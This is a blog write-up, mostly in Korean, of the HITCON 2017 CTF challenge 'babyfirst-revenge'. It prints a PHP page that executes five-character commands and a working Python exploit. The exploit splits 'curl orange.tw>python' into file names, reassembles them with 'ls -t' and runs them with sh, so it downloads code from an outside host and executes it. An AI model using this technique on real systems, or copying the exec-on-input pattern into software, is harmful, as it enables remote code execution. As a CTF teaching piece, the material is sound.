[HITCON 2017] babyfirst-revenge Write up&Explanation

HITCON 2017[Link]


Do you remember BabyFirst from HITCON CTF 2015?
This is the harder version!
http://52.199.204.34/

95 Solved


Challenge

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

Exploit

import requests
from time import sleep
from urllib import quote

payload = [
    # generate `ls -t>g` file
    '>ls\\', 
    'ls>_', 
    '>\ \\', 
    '>-t\\', 
    '>\>g', 
    'ls>>_', 

    # generate `curl orange.tw.tw>python`
    '>on', 
    '>th\\', 
    '>py\\', 
    '>\>\\', 
    '>tw\\',
    '>e.\\', 
    '>ng\\', 
    '>ra\\', 
    '>o\\', 
    '>\ \\', 
    '>rl\\', 
    '>cu\\', 

    # exec
    'sh _', 
    'sh g', 
]



r = requests.get('http://52.199.204.34/?reset=1')
for i in payload:
    assert len(i) <= 5 
    r = requests.get('http://52.199.204.34/?cmd=' + quote(i) )
    print i
    sleep(0.2)

Explanation

5글자 밖에 cmd가 입력되지 않은 상황에서 원하는 코드를 실행 시키기 위한 처절한 몸부림이 보인다.

이 문제를 풀기위한 개념은
원하는 명령어를 한글자씩 파일로 만들고, ls -t를 통해  한 문장으로 만들어 저장하고, 그 저장한 파일을 sh 로 실행한다
라는 개념이다.
“-t” 옵션을 넣는 이유는 우리가 원하는 순서대로 파일이 정렬되어야 명령이 실행가능한데,
만약 “-t” 옵션을 넣지 않으면 파일명을 기준으로 정렬되기에 우리가 원하는 명령이 실행 되지 않는다.

 

Example

ls -tal 이란 명령어를 실행하려면 6글자가 되며 넘게 된다.
하지만 이를 “ls “와 “-tal”로 나눌수 있다.

bash에서 여러줄에 걸쳐서 한 명령어를 실행 하기위해선 “\” backslash를 뒤에 붙여주면된다.
이제 cmd에 다음과 같이 보내자.
cmd=>ls\ \\ (5글자가 넘어 보이지만 실제론 “ls \”로 4글자다)
cmd=>-tal
cmd=ls>_

이렇게 저장된 “_”파일을 “sh _”로 실행하면 쉘명령어가 실행되게 된다. ㄷㄷ

글의 문제가 있다면 댓글을 달아 주세요.

이 사이트는 스팸을 줄이는 아키스밋을 사용합니다. 댓글이 어떻게 처리되는지 알아보십시오.